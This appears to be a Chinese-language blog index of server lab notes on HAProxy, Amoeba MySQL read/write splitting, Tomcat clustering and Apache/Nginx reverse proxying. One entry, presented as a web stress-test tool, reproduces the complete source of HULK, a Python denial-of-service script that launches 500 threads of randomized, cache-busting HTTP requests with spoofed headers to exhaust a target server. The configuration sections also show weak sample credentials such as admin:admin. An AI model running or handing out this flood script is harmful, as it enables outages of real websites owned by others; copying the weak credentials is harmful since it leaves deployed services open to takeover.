45_02_2_实验_1_:haproxy的简单使用

  • Director:192.168.122.46
  • Realserver 192.168.122.102 httpd
  • Realserver 192.168.122.116 nginx

Director

  • 安装依赖包
1
2
3
4
5
# yum -y install haproxy 
#cp /etc/haproxy/haproxy.conf /root/ 
#vim /etc/sysconfig/rsyslog 
改为: 
SYSLOGD_OPTIONS="-c 2 -r"
  • 配置文件
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
global 
    log 127.0.0.1 local2 
    chroot /var/lib/haproxy 
    pidfile /var/run/haproxy.pid 
    maxconn 4000 
    user haproxy 
    group haproxy 
    daemon 
 
defaults 
    mode http 
    log global 
    option httplog 
    option dontlognull 
    option http-server-close 
    option forwardfor except 127.0.0.0/8 
    option redispatch 
    retries 3 
    timeout http-request 10s 
    timeout queue 1m 
    timeout connect 10s 
    timeout client 1m 
    timeout server 1m 
    timeout http-keep-alive 10s 
    timeout check 10s 
    maxconn 3000 
    stats uri /haproxy?stats # http://192.168.122.46/haproxy?stats 
    stats auth admin:admin 
 
frontend HAProxy 
    bind *:80 
    mode http 
    option httplog 
    acl cache_domain path_end .css .js .gif .png .swf .jpg .jpeg .ico 
    acl cache_dir path_reg /apping #这个地方需要注意，这个apping,是指varnish.test.com/apping/,例如varnish.test.com的根目录是/apping,那么是指/apping/apping/这个目录；； 
    
    use_backend varnish.test.com if cache_domain #例如a.jpg,他会定义到/apping/a.jpg这个地方 
    use_backend varnish.test.com if cache_dir 
    
    default_backend www.test.com #这个是默认的backend服务器 
 
backend varnish.test.com 
    server varnish 192.168.122.102:81 weight 2 check inter 2000 rise 2 fall 3 
 
backend www.test.com 
    server web1 192.168.122.102 cookie check inter 2000 rise 2 fall 5 
    server web2 192.168.122.116 cookie check inter 2000 rise 2 fall 5 
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
 
httpd服务器： 
<VirtualHost 192.168.122.102:80> 
 Servername localhost; 
 DocumentRoot "/var/www/html" 
 ErrorLog /var/log/httpd/error_log 
 CustomLog /var/log/httpd/access_log combined 
</VirtualHost> 
<VirtualHost 192.168.122.102:81> 
 Servername varnish.test.com; 
 DocumentRoot "/apping" 
 ErrorLog /var/log/httpd/error_log 
 CustomLog /var/log/httpd/access_log combined 
</VirtualHost> 
1
2
# mkdir -pv /apping/apping 
# echo "this is httpd server,and this is apping document.." > /apping/apping/index.html

展开全文 >>

42_04_2_使用Amoeba实现读写分离

环境配置：

192.168.212.137 master.mysql.com master
192.168.212.138 slave1.mysql.com slave2
192.168.212.139 slave2.mysql.com slave2
192.168.212.132 proxy.mysql.com proxy

前提已经搭建好主从复制；
另外现在就是设置proxy.mysql.com；

  • 设置jdk
1
2
3
4
5
[root@localhost ~]# tar xf jdk-7u79-linux-x64.tar.gz -C /usr/java 
[root@localhost jdk1.7.0_79]# vim /etc/profile.d/java.sh 
export JAVA_HOME=/usr/java/jdk1.7.0_79/ 
export CLASSPATH=.:$JAVA_HOME/jre/lib/rt.jar:$JAVA_HOME/lib/dt.jar:$JAVA_HOME/lib/tools.jar 
export PATH=$PATH:$JAVA_HOME/bin
  • 安装amoeba
1
2
3
4
5
[root@proxy local]# unzip amoeba-mysql-3.0.5-RC-distribution.zip 
[root@proxy local]# mv amoeba-mysql-3.0.5-RC amoeba 
[root@proxy conf]# pwd 
/usr/local/amoeba/conf

实现读写分离：
[root@proxy conf]# vim dbServers.xml 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE amoeba:dbServers SYSTEM "dbserver.dtd">

<amoeba:dbServers xmlns:amoeba="http://amoeba.meidusa.com/">  
  <!-- 
            Each dbServer needs to be configured into a Pool,
  
          If you need to configure multiple dbServer with load balancing
 that can be simplified by the following configuration:
             
add attribute with name virtual = "true" in dbServer, but the 
configuration does not allow the element with name factoryConfig
             such as 'multiPool' dbServer   
        -->  
  <dbServer name="abstractServer" abstractive="true"> 
    <factoryConfig class="com.meidusa.amoeba.mysql.net.MysqlServerConnectionFactory"> 
      <property name="connectionManager">${defaultManager}</property>  
      <property name="sendBufferSize">64</property>  
      <property name="receiveBufferSize">128</property>  
      <!-- mysql port -->  
      <property name="port">3306</property>  
      <!-- mysql schema --> #下面这个配置是设置Amoeba默认连接的数据库名，当链接业务系统连接amoeba时，操作表必须显式指定数据库名，即采用dbname.tablename的方式，不支持use dbname指定默认库 
      <property name="schema">repldb</property>  
      <!-- mysql user --> #这两个配置是设置amoeba连接后端数据库服务器的账号和密码，因此需要在所有后端数据库上创建该用户，并授权amoeba服务器可连接 
      <property name="user">ixdba</property>  
      <property name="password">easyheart</property> 
    </factoryConfig>  
    <poolConfig class="com.meidusa.toolkit.common.poolable.PoolableObjectPool"> 
      <property name="maxActive">500</property>  
      <property name="maxIdle">500</property>  
      <property name="minIdle">1</property>  
      <property name="minEvictableIdleTimeMillis">600000</property>  
      <property name="timeBetweenEvictionRunsMillis">600000</property>  
      <property name="testOnBorrow">true</property>  
      <property name="testOnReturn">true</property>  
      <property name="testWhileIdle">true</property> 
    </poolConfig> 
  </dbServer> #这个配置用来设置一个后端可写的dbServer，这里定义为writedb,这个名字可以任意明明，后面还会用到 
  <dbServer name="writedb" parent="abstractServer"> 
    <factoryConfig> 
      <!-- mysql ip --> #这个配置是指定可写数据库的IP地址，如果是MMM集群，设置可写的VIP地址； 
      <property name="ipAddress">192.168.212.137</property> 
    </factoryConfig> 
  </dbServer> #下面设置一个后端可读dbServer,这里定义了2台可读dbServer,分别是slave1和slave2; 
  <dbServer name="slave1" parent="abstractServer"> 
    <factoryConfig> 
      <!-- mysql ip -->  
      <property name="ipAddress">192.168.212.138</property> 
    </factoryConfig> 
  </dbServer>  
  <dbServer name="slave2" parent="abstractServer"> 
    <factoryConfig> 
      <!-- mysql ip -->  
      <property name="ipAddress">192.168.212.139</property> 
    </factoryConfig> 
  </dbServer> #这里配置是定义一个虚拟的dbServer,实际上相当于一个dbServer组，这里将可读的数据库IP统一放到一个组中，将这个组的名字命名为myslaves 
  <dbServer name="myslaves" virtual="true"> 
    <poolConfig class="com.meidusa.amoeba.server.MultipleServerPool">#1表示复制均衡，2表示权重，3表示HA； 
      <!-- Load balancing strategy: 1=ROUNDROBIN , 2=WEIGHTBASED , 3=HA-->  
      <property name="loadbalance">1</property>  
      <!-- Separated by commas,such as: server1,server2,server1 -->  
      <property name="poolNames">slave1,slave2</property> 
    </poolConfig> 
  </dbServer> 
</amoeba:dbServers>

  • [root@proxy conf]# vim amoeba.xml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE amoeba:configuration SYSTEM "amoeba.dtd">

<amoeba:configuration xmlns:amoeba="http://amoeba.meidusa.com/">  
  <proxy> 
    <!-- service class must implements com.meidusa.amoeba.service.Service -->  
    <service name="Amoeba for Mysql" class="com.meidusa.amoeba.mysql.server.MySQLService"> 
      <!-- port --> #这里配置Amoeba监听的端口，默认是8066,可以将其调整为3306 
      <property name="port">8066</property>  
      <!-- bind ipAddress -->  
      <!-- 
            <property name="ipAddress">127.0.0.1</property>
             -->  
      <property name="connectionFactory"> 
        <bean class="com.meidusa.amoeba.mysql.net.MysqlClientConnectionFactory"> 
          <property name="sendBufferSize">128</property>  
          <property name="receiveBufferSize">64</property> 
        </bean> 
      </property>  
      <property name="authenticateProvider"> 
        <bean class="com.meidusa.amoeba.mysql.server.MysqlClientAuthenticator">#这两个配置主要是设置客户端连接Amoeba时需要使用的账号和密码，需要说明的是，如果部署了Amoeba,那么业务系统中程序连接数据库的地址就是Amoeba服务器的地址，连接用户名和密码就是这里设置的用户名和密码； 
          <property name="user">root</property>  
          <property name="password">easyheart</property>  
          <property name="filter"> 
            <bean class="com.meidusa.toolkit.net.authenticate.server.IPAccessController"> 
              <property name="ipFile">${amoeba.home}/conf/access_list.conf</property> 
            </bean> 
          </property> 
        </bean> 
      </property> 
    </service>  
    <runtime class="com.meidusa.amoeba.mysql.context.MysqlRuntimeContext"> 
      <!-- proxy server client process thread size -->  
      <property name="executeThreadSize">128</property>  
      <!-- per connection cache prepared statement size  -->  
      <property name="statementCacheSize">500</property>  
      <!-- default charset -->  
      <property name="serverCharset">utf8</property>  
      <!-- query timeout( default: 60 second , TimeUnit:second) -->  
      <property name="queryTimeout">60</property> 
    </runtime> 
  </proxy>  
  <!-- 
        Each ConnectionManager will start as thread
        manager responsible for the Connection IO read , Death Detection
    -->  
  <connectionManagerList> 
    <connectionManager name="defaultManager" class="com.meidusa.toolkit.net.MultiConnectionManagerWrapper"> 
      <property name="subManagerClassName">com.meidusa.toolkit.net.AuthingableConnectionManager</property> 
    </connectionManager> 
  </connectionManagerList>  
  <!-- default using file loader -->  
  <dbServerLoader class="com.meidusa.amoeba.context.DBServerConfigFileLoader"> 
    <property name="configFile">${amoeba.home}/conf/dbServers.xml</property> 
  </dbServerLoader>  
  <queryRouter class="com.meidusa.amoeba.mysql.parser.MysqlQueryRouter"> 
    <property name="ruleLoader"> 
      <bean class="com.meidusa.amoeba.route.TableRuleFileLoader"> 
        <property name="ruleFile">${amoeba.home}/conf/rule.xml</property>  
        <property name="functionFile">${amoeba.home}/conf/ruleFunctionMap.xml</property> 
      </bean> 
    </property>  
    <property name="sqlFunctionFile">${amoeba.home}/conf/functionMap.xml</property>  
    <property name="LRUMapSize">1500</property> #下面这个选项设置Amoeba默认的池，这里设置为writedb 
    <property name="defaultPool">writedb</property> #下面这两个选项默认是注释掉的，需要取消注释，这里用来指定前面定义好的两个读、写池，分别是可写池writedb和可读池slaves; 
    <property name="writePool">writedb</property>  
    <property name="readPool">myslaves</property>  
    <property name="needParse">true</property> 
  </queryRouter> 
</amoeba:configuration>

这里Amoeba就配置完成了；；；；；

  • 在所有节点设置Amoeba登录后端数据库的用户名和密码； 

    1
    GRANT ALL PRIVILEGES ON repldb.* TO 'ixdba'@'%' identified by 'easyheart';   #如果多个数据库，可以将repldb换成*

  • 在Amoeba服务器上启动Amoeba 

    1
    [root@proxy conf]# /usr/local/amoeba/bin/launcher

如果出现错误：

The stack size specified is too small, Specify at least 228k
Error: Could not create the Java Virtual Machine.
Error: A fatal exception has occurred. Program will exit. 

1
# vim /usr/local/amoeba/jvm.properties

修改成如下，主要在于Xss,因为jdk7需要的最小线内存是228k,大于这个就行；

JVM_OPTIONS=”-server -Xms1024m -Xmx1024m -Xss256k -XX:PermSize=16m -XX:MaxPermSize=96m”

  • 客户端:
    mysql -uroot -h192.168.212.132 -P8066 -peasyheart   //如果没有改变端口的话，改变的话会更容易使用；；；；；

展开全文 >>

24_03_3_web压力测试工具-hulk 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
# ---------------------------------------------------------------------------------------------- 
# HULK - HTTP Unbearable Load King 
# 
# this tool is a dos tool that is meant to put heavy load on HTTP servers in order to bring them 
# to their knees by exhausting the resource pool, its is meant for research purposes only 
# and any malicious usage of this tool is prohibited. 
# 
#Usage: python hulk.py http://IP_or_fqdn/ safe 
# 
# author : Barry Shteiman , version 1.0 
# ---------------------------------------------------------------------------------------------- 
import urllib2 
import sys 
import threading 
import random 
import re 
 
#global params 
url='' 
host='' 
headers_useragents=[] 
headers_referers=[] 
request_counter=0 
flag=0 
safe=0 
 
def inc_counter(): 
 global request_counter 
 request_counter+=1 
 
def set_flag(val): 
 global flag 
 flag=val 
 
def set_safe(): 
 global safe 
 safe=1 
 
# generates a user agent array 
def useragent_list(): 
 global headers_useragents 
 headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3') 
 headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') 
 headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') 
 headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1') 
 headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1') 
 headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)') 
 headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)') 
 headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)') 
 headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)') 
 headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)') 
 headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)') 
 headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51') 
 return(headers_useragents) 
 
# generates a referer array 
def referer_list(): 
 global headers_referers 
 headers_referers.append('http://www.google.com/?q=') 
 headers_referers.append('http://www.usatoday.com/search/results?q=') 
 headers_referers.append('http://engadget.search.aol.com/search?q=') 
 headers_referers.append('http://' + host + '/') 
 return(headers_referers) 
 
#builds random ascii string 
def buildblock(size): 
 out_str = '' 
 for i in range(0, size): 
 a = random.randint(65, 90) 
 out_str += chr(a) 
 return(out_str) 
 
def usage(): 
 print '---------------------------------------------------' 
 print 'USAGE: python hulk.py <url>' 
 print 'you can add "safe" after url, to autoshut after dos' 
 print '---------------------------------------------------' 
 
 
#http request 
def httpcall(url): 
 useragent_list() 
 referer_list() 
 code=0 
 if url.count("?")>0: 
 param_joiner="&" 
 else: 
 param_joiner="?" 
 request = urllib2.Request(url + param_joiner + buildblock(random.randint(3,10)) + '=' + buildblock(random.randint(3,10))) 
 request.add_header('User-Agent', random.choice(headers_useragents)) 
 request.add_header('Cache-Control', 'no-cache') 
 request.add_header('Accept-Charset', 'ISO-8859-1,utf-8;q=0.7,*;q=0.7') 
 request.add_header('Referer', random.choice(headers_referers) + buildblock(random.randint(5,10))) 
 request.add_header('Keep-Alive', random.randint(110,120)) 
 request.add_header('Connection', 'keep-alive') 
 request.add_header('Host',host) 
 try: 
 urllib2.urlopen(request) 
 except urllib2.HTTPError, e: 
 #print e.code 
 set_flag(1) 
 print 'Response Code 500' 
 code=500 
 except urllib2.URLError, e: 
 #print e.reason 
 sys.exit() 
 else: 
 inc_counter() 
 urllib2.urlopen(request) 
 return(code) 
 
 
#http caller thread 
class HTTPThread(threading.Thread): 
 def run(self): 
 try: 
 while flag<2: 
 code=httpcall(url) 
 if (code==500) & (safe==1): 
 set_flag(2) 
 except Exception, ex: 
 pass 
 
# monitors http threads and counts requests 
class MonitorThread(threading.Thread): 
 def run(self): 
 previous=request_counter 
 while flag==0: 
 if (previous+100<request_counter) & (previous<>request_counter): 
 print "%d Requests Sent" % (request_counter) 
 previous=request_counter 
 if flag==2: 
 print "\n-- HULK Attack Finished --" 
 
#execute 
if len(sys.argv) < 2: 
 usage() 
 sys.exit() 
else: 
 if sys.argv[1]=="help": 
 usage() 
 sys.exit() 
 else: 
 print "-- HULK Attack Started --" 
 if len(sys.argv)== 3: 
 if sys.argv[2]=="safe": 
 set_safe() 
 url = sys.argv[1] 
 if url.count("/")==2: 
 url = url + "/" 
 m = re.search('http\://([^/]*)/?.*', url) 
 host = m.group(1) 
 for i in range(500): 
 t = HTTPThread() 
 t.start() 
 t = MonitorThread() 
 t.start()

展开全文 >>

47_02Tomcat系列之apache负载均衡请求至tomcat及Deltamanager的使用 

1
2
3
4
5
6
7
8
9
10
11
12
#scp /etc/profile.d/{java.sh tomcat.sh } 192.168.10.9:/etc/profile.d/ 
#tar xf apache-tomcat-7.0.62.tar.gz -C /usr/local 
#cd /usr/local 
# ln -sv apache-tomcat-7.0.62/ tomcat 
#scp /usr/local/tomcat/conf/server.xml 192.168.10.9:/usr/local/tomcat/conf 
 
#vim /usr/local/tomcat/conf/server.xml 
改成： 
<Engine name="Cataina"> defaultHost="www.test.com" jvmRoute="Tomcat2"> 
 
#mkdir -pv /web/webapps 
#vim /web/webapps/index.jsp

基于mod_proxy实现负载均衡

在httpd.conf的虚拟主机中配置如下内容： 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
ProxyRequests Off 
<proxy balancer://lbcluster1> 
  BalancerMember ajp://192.168.10.8:8009 loadfactor=1 route=Tomcat1 
  BalancerMember ajp://192.168.10.9:8009 loadfactor=1 route=Tomcat2 
  ProxySet lbmethod=bytraffic 
</proxy> 
 
 
<VirtualHost *:80> 
  ServerName www.test.com 
  ProxyVia Off 
  ProxyPass / balancer://lbcluster1/  stickysession=jsessionid 
  ProxyPassReverse / balancer://lbcluster1/ 
    <Location /balancer-manager> 
      SetHandler balancer-manager 
      ProxyPass ! 
      Require all granted 
   </Location> 
<Proxy *> 
    Require all granted 
</Proxy> 
 <Location /> 
     Require all granted 
 </Location> 
</VirtualHost> 
 
 
# servive httpd restart

 如果出错，看日志；；

 172.16.100.106/balancer-manager 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#vim /usr/local/tomcat/conf/server.xml 
 在Engine下面添加如下内容，要根据自己需要修改的；； 
    <Cluster className="org.apache.catalina.ha.tcp.SimpleTcpCluster"   
             channelSendOptions="8">   
       
      <Manager className="org.apache.catalina.ha.session.DeltaManager"   
               expireSessionsOnShutdown="false"   
               notifyListenersOnReplication="true"/>   
       
      <Channel className="org.apache.catalina.tribes.group.GroupChannel">   
        <Membership className="org.apache.catalina.tribes.membership.McastService"   
                    address="228.50.10.1"   
                    bind="192.168.10.8"　　　//我在实验时如果加上这个出错； 
                    port="45564"   
                    frequency="500"   
                    dropTime="3000"/>   
        <Receiver className="org.apache.catalina.tribes.transport.nio.NioReceiver"   
                  address="192.168.10.8"   
                  port="4000"   
                  autoBind="100"   
                  selectorTimeout="5000"   
                  maxThreads="6"/>   
       
        <Sender className="org.apache.catalina.tribes.transport.ReplicationTransmitter">   
          <Transport className="org.apache.catalina.tribes.transport.nio.PooledParallelSender"/>   
        </Sender>   
        <Interceptor className="org.apache.catalina.tribes.group.interceptors.TcpFailureDetector"/>   
        <Interceptor className="org.apache.catalina.tribes.group.interceptors.MessageDispatch15Interceptor"/>   
      </Channel>   
       
      <Valve className="org.apache.catalina.ha.tcp.ReplicationValve"   
             filter=""/>   
      <Valve className="org.apache.catalina.ha.session.JvmRouteBinderValve"/>   
       
      <Deployer className="org.apache.catalina.ha.deploy.FarmWarDeployer"   
                tempDir="/tmp/war-temp/"   
                deployDir="/tmp/war-deploy/"   
                watchDir="/tmp/war-listen/"   
                watchEnabled="false"/>   
       
      <ClusterListener className="org.apache.catalina.ha.session.JvmRouteSessionIDBinderListener"/>   
      <ClusterListener className="org.apache.catalina.ha.session.ClusterSessionListener"/>   
    </Cluster>      

两台Tomcat主机： 

1
2
3
4
5
6
7
8
# mkdir /web/webapps/WEB-INF 
# cp /usr/local/tomcat/conf/web.xml /web/webapps/WEB-INF/ 
# vim /web/webapps/WEB-INF/web.xml 

在=========Introduction===========上面添加： 
<distributable/> 

scp -r /web/webapps/WEB-INF/ 192.168.10.9:/web/webapps/

http://blog.csdn.net/bluishglc/article/details/6867358

展开全文 >>

46_03_实验_JDK+Tomcat+Nginx实现jsp服务器

实验环境：
192.168.122.220  www.123.com

安装jdk： 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
#chmod +x jdk-6u45-linux-x64-rpm.bin 
#./jdk-6u45-linux-x64-rpm.bin 
 
生成的文件在:/usr/java/目录下； 
 
[root@node1 java]#vim /etc/profile.d/java.sh 
export JAVA_HOME=/usr/java/jdk1.6.0_21 
export PATH=$PATH:$JAVA_HOME/bin 
 
 
安装Tomcat： 
[root@node1 ~]# tar xf apache-tomcat-7.0.62.tar.gz -C /usr/local 
[root@node1 ~]# cd /usr/local 
[root@node1 local]# ln -sv apache-tomcat-7.0.62/ tomcat 
[root@node1 local]#vim /etc/profile.d/tomcat.sh 
export CATALINA_HOME=/usr/local/tomcat 
export PATH=$PATH:$CATALINA_HOME/bin 
 
增加一个虚拟主机： 
[root@node1 html]# vim /usr/local/tomcat/conf/server.xml 
 
<Host name="www.123.com" appBase="/usr/share/nginx/html" 
    unpackWARs="true" autoDeploy="true"> 
    <Context path="" docBase="." /> 
</Host> 
 
[root@node1 html]# catalina.sh start 
 
配置Nginx将jsp等转到tomcat上进行处理； 
[root@node1 html]# vim /etc/nginx/conf.d/default.conf 
    location ~ \.(jsp|jspx|do)?$ { 
        proxy_set_header Host $host;　　　　　　　　　　　　　　　　　#这个必须有，否则会跳转到webapps目录下的位置； 
        proxy_set_header X-Real-IP $remote_addr; 
        proxy_pass http://127.0.0.1:8080; 
    } 
 
测试： 
[root@node1 html]# vim /usr/share/nginx/html/hello.jsp 
<html><body><center> 
now time is: <%=new java.util.Date()%> 
</center></body></html> 
 
http://www.123.com/hello.jsp 
 
 
添加自启动： 
[root@node1 html]# chkconfig nignx on 
[root@node1 html]# vim /etc/rc.local 
catalina.sh start

在没安装nginx之前，对tomcat进行测试：

     

这个是默认的，如果想要访问的话，不能通过网站名字进行访问，只能例如http://192.168.122.220:8080进行访问；

自己添加虚拟主机，如下所示:
    
   

那么在进行访问tomcat的时候，必须是www.test.com:8080/**.jsp，否则将不会访问得到，这个要注意；；；

关于tomcat调整：
https://blog.linuxeye.com/413.html

展开全文 >>

47_01Tomcat系列之apache使用mod_proxy或mod_jk反向代理tomcat

mod_proxy：提供代理的功能，而mod_jk是作为一个独立的连接器存在，所以性能上要比较高；

  • mod_jk：mod_jk实质上是Apache与Tomcat的连接器，并藉此附带提供集群和负载均衡的功能。
  • mod_jk2：mod_jk的升级版，但官方已不再支持；

mod_proxy_http：mod_proxy提供http反向代理；

  • mod_proxy_ajp  :这个使用二进制方式传输，与通过http协议代理到后端相比，效率更高，而且在进行访问tomcat时不允许不经过反向代理过来；
  • mod_proxy_banlancer：负载均衡时用到；

如果使用tomcat做集群，建议使用httpd做反向代理；

环境配置:
tomcat主机:

  • 192.168.10.8
  • 192.168.10.9
  1. 安装jdk和tomcat.　参考：46_03(实验)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
 #vim /usr/local/tomcat/conf/server.xml 
 
修改成<Engine name="Cataina"> defaultHost="www.test.com" jvmRoute="Tomcat1"> 
 
 添加 
 <Host name="www.test.com" appBase="/web" 
     unpackWARs="true"  autoDeploy="true"> 
    <Context  path="" docBase="webapps" reLoadable="true" /> 
</Host> 
 
# catalina.sh configtest 
# mkdir -pv /web/webapps　　#把jsp放到这个目录下就行； 
# cd /web/webapps 
# vim index.jsp 
<html><body><center> 
now time is: <%=new java.util.Date()%> 
</center></body></html> 
 
#catalina.sh start

192.168.10.106安装httpd，对后端的Tomcat做反向代理：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
安装httpd的配置选项: 
    #./configure --prefix=/usr/local/apache \ 
     --sysconfdir=/etc/httpd \ 
     --enable-so \ 
     --enable-rewrite \ 
     --enable-ssl \ 
     --with-zlib \ 
     --with-pcre \ 
     --enable-cgi  \ 
     --enable-cgid \ 
              --enable-modules=most \ 
              --enable-deflate \ 
    --enable-mods-shared=most \ 
    --enable-mpms-shared=all \ 
    --with-mpm=event \ 
    --enable-proxy \ 
    --enable-proxy-http \ 
    --enable-proxy-ajp \ 
    --enable-proxy-balancer \ 
    --enable-lbmethod-heartbeat \ 
    --enable-heartbeat \ 
    --enable-slotmem-shm \ 
    --enable-slotmem-plain \ 
    --enable-watchdog \ 
    --with-apr=/usr/local/apr \ 
    --with-apr-util=/usr/local/apr-util

配置apache通过mod_proxy模块与tomcat连接
需要使用mod_proxy与tomcat实例连接，需要apache已经装载mod_proxy、mod_proxy_http、mod_proxy_ajp和proxy_balancer_module(实现tomcat集群时用到)等模块； 

1
2
3
4
5
6
7
8
9
10
#/usr/local/apache/bin/httpd -D DUMP_MODULES | grep proxy　　　＃默认没有，可以在配置文件中查找proxy然后启动这些； 
proxy_module(shared) 
proxy_connect_module(shared) 
proxy_ftp_module(shared) 
proxy_http_module(shared) 
proxy_fcgi_module(shared) 
proxy_scgi_module(shared) 
proxy_ajp_module(shared) 
proxy_balancer_module(shared) 
proxy_express_module(shared) 
1
#vim /etc/httpd/httpd.conf

注释中心主机,添加

Include /etc/httpd/extra/httpd-proxy.conf

让apache跟tomcat的http连接器进行整合: 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#vim /etc/httpd/extra/httpd-proxy.conf 
<VirtualHost *:80> 
  ProxyVia On 
  ProxyRequests Off      关闭正向代理; 
  ProxyPass / http://192.168.10.8:8080/ 
  ProxyPassReverse / http://192.168.10.8:8080/ 
    <Proxy *> 
        Require all granted 
    </Proxy> 
<Location /> 
             Require all granted 
        </Location> 
</VirtualHost> 
 
LoadModule slotmem_shm_module modules/mod_slotmem_shm.so 
LoadModule slotmem_plain_module modules/mod_slotmem_plain.so  #这个我没有找到，结果没问题；

重启httpd即可实现反向代理。
这个地方我没有添加httpd启动脚本，自己看前面的；；
http://172.16.100.106/index.jsp
需要着重明白这句话，所有的请求都会交给后端的Tomcat处理，httpd并不会处理任何请求，所以网页要放在tomcat指定的目录下；

 
【方式二】 配置apache跟tomcat的mod_jk连接器进行整合:   

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#tar xf tomcat-connectors-1.2.37-src.tar.gz 
#cd tomcat-connectors-1.2.37-src/native/ 
#./configure --with-apxs=/usr/local/apache/bin/apxs 
#make && make install 
 
注释掉: 
#Include /etc/httpd/extra/httpd-proxy.conf 
添加: 
Include /etc/httpd/extra/httpd-jk.conf 
 
apache要使用mod_jk连接器，需要在启动时加载此连接器模块。为了便于管理与mod_jk模块相关的配置，这里使用一个专门的配置文件/etc/httpd/extra/httpd-jk.conf来保存相关指令及其配置，其内容如下: 
#vim /etc/httpd/extra/httpd-jk.conf 
 
#Load the mod_jk 
LoadModule jk_module modules/mod_jk.so 
JkWorkersFile /etc/httpd/extra/workers.properties 
JkLogFile logs/mod_jk.log 
JkLogLevel debug 
JkMount /* Tomcat1                  送到哪一个tomcat上去，这个和上面的jvmRoute要一致； 
JkMount /status/    stat1 
 
 
 
# vim /etc/httpd/extra/workers.properties 
worker.list=Tomcat1,stat1 
worker.Tomcat1.port=8009 
worker.Tomcat1.host=192.168.10.8 
worker.Tomcat1.type=ajp13 
worker.Tomcat1.lbfactor=1 
worker.stat1.type=status

至此，一个基于mod_jk模块与后端名为Tomcat1的worker通信的配置已经完成，重新httpd服务即可生效；

展开全文 >>

46_03-实验-tomcat-httpd

环境:
tomcat server:192.168.122.115
httpd server:192.168.122.47

tomcat server:

安装jdk和tomcat: 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
[root@nginx tomcat]# catalina.sh version 
Using CATALINA_BASE:   /usr/local/tomcat 
Using CATALINA_HOME:   /usr/local/tomcat 
Using CATALINA_TMPDIR: /usr/local/tomcat/temp 
Using JRE_HOME:        /usr 
Using CLASSPATH:       /usr/local/tomcat/bin/bootstrap.jar:/usr/local/tomcat/bin/tomcat-juli.jar 
Server version: Apache Tomcat/8.0.30 
Server built:   Dec 1 2015 22:30:46 UTC 
Server number:  8.0.30.0 
OS Name:        Linux 
OS Version:     2.6.32-573.el6.x86_64 
Architecture:   amd64 
JVM Version:    1.7.0_79-b15 
JVM Vendor:     Oracle Corporation

需要注意的几点：

(1) 这个地方必须指定你的默认host，否则会解析到localhost上；；；
 

(2)在tomcat8上发现docBase不能指定为当前目录，这个不知为何，低版本的我试过，是可以的;

   

vim /web/html/index.jsp

1
2
3
<html><body><center> 
tomcat1 now time is: <%=new java.util.Date()%> 
</center></body></html>

httpd server:

这里省事了，没有重新编译安装httpd 

1
2
3
4
5
6
7
[root@bogon ~]#yum -y install httpd 
